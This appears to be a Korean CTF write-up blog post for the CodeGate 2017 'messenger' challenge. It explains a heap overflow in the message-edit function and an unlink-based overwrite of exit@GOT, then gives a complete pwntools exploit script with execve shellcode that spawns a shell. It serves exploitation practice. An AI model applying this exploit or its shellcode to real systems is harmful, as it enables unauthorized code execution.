본문 바로가기

ctf

[CodeGate 2017 CTF] messenger

간략히 기능에 대해 설명하자면,

LeaveMsg : 사용자에게 32byte 이내의 크기만큼 힙에 할당하고, 데이터를 입력받는다.(malloc)

RemoveMsg : free() 함수 와 비슷하다고 보면 된다.

ChangeMsg : Msg 를 수정할 수 있는데 이 때 크기를 검증하지 않아서 overflow 가 터진다.

ViewMsg : 사용자에게 입력받은 데이터를 보여준다.

 

힙을 보면 size | fd | bk | data 와 같은 구조를 가지고 있다.

 

LeaveMsg(2번) -> ChangeMsg -> ViewMsg 를 통해 Heap 주소를 릭 할 수 있다.

RemoveMsg 에서 sub_400b2d() 함수로 가면 그 부분이 unlink 와 비슷한 기능을 하는 것을 알 수 있다.

 

따라서, ChangeMsg 를 통해 index 0 에서는 index 1 의 fd, bk 를 각각 exit@got 주소와 릭한 heap 주소를 넣고, index 1 에서는 shellcode 를 넣어서 exploit 하면 된다.

 

// exploit 코드가 더러움.... 담부터는 더 간략히 하도록 해야겠다..

# exploit.py    

from pwn import *
import hexdump


p = process('./messenger')

binary = ELF('./messenger')


print p.recvuntil('>>')

 

def LeaveMsg(size, msg):

        p.sendline('L')
        print p.recvuntil('size : ')

        p.sendline(str(size))
        print p.recvuntil('msg : ')

        p.sendline(str(msg))
        print p.recvuntil('>>')

 

def RemoveMsg():

        p.sendline('R')
        print p.recvuntil('index : ')

        p.sendline('1')
        print p.recvuntil('>>')

 

def ChangeMsg(size, index,  msg):

        p.sendline('C')
        print p.recvuntil('index : ')

        p.sendline(str(index))
        print p.recvuntil('size : ')

        p.sendline('32')
        print p.recvuntil('msg : ')

        p.sendline(str(msg))
        print p.recvuntil('>>')

 

def ViewMsg():

        global heap

        p.sendline('V')
        print p.recvuntil('index : ')

        p.sendline('0')
        data = p.recvuntil('>>')
        #hexdump.hexdump(data)

        if data[35:36] == '\x0a':
                heap = u32(data[32:35] + str('\x00'))
                print data
                log.info('heap address = ' +  hex(heap))
        else:
                heap = u32(data[32:36])
                log.info('heap address = ' + hex(heap))
                print data

 

def exploit():

        jmp_shellcode = asm("push "+hex(heap),arch='amd64',os='linux')
        jmp_shellcode += asm("ret",arch='amd64',os='linux')

        shellcode = '\x90'*20 + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

        payload = '\x90'*8 + jmp_shellcode + '\x90'*6 + shellcode

        # ChangeMsg index 0

        exit_got = binary.got['exit']


        msg = 'A'*32 + p64(exit_got - 0x10) + p64(heap-0x10)

        p.sendline('C')
        print p.recvuntil('index : ')

        p.sendline('0')
        print p.recvuntil('size : ')

        p.sendline('49')
        print p.recvuntil('msg : ')

        p.sendline(msg)
        print p.recvuntil('>>')

 


        # ChangeMsg index 1

        p.sendline('C')
        print p.recvuntil('index : ')

        p.sendline('1')
        print p.recvuntil('size : ')

        p.sendline('100')
        print p.recvuntil('msg : ')

  p.sendline(payload)
  print p.recvuntil('>>')

 

        # RemoveMsg

        p.sendline('R')
        print p.recvuntil('index : ')

        p.sendline('1')
        print p.recvuntil('>>')

 

        p.sendline('Z')

        p.interactive()

 

if __name__ == '__main__':

        LeaveMsg(8, 'AAAA')

        LeaveMsg(8, 'BBBB')

        ChangeMsg(32, 0, 'A'*31)

        ViewMsg()

        exploit()

'ctf' 카테고리의 다른 글

[HITCON 2016 CTF] Secret Holder  (0) 2017.03.10
[CodeGate 2017 CTF] angrybird  (0) 2017.02.22
[CodeGate 2017 CTF] babypwn  (0) 2017.02.22
[pwnable.tw] start  (0) 2017.02.06
[Christmas 2016 CTF] solo  (0) 2017.02.04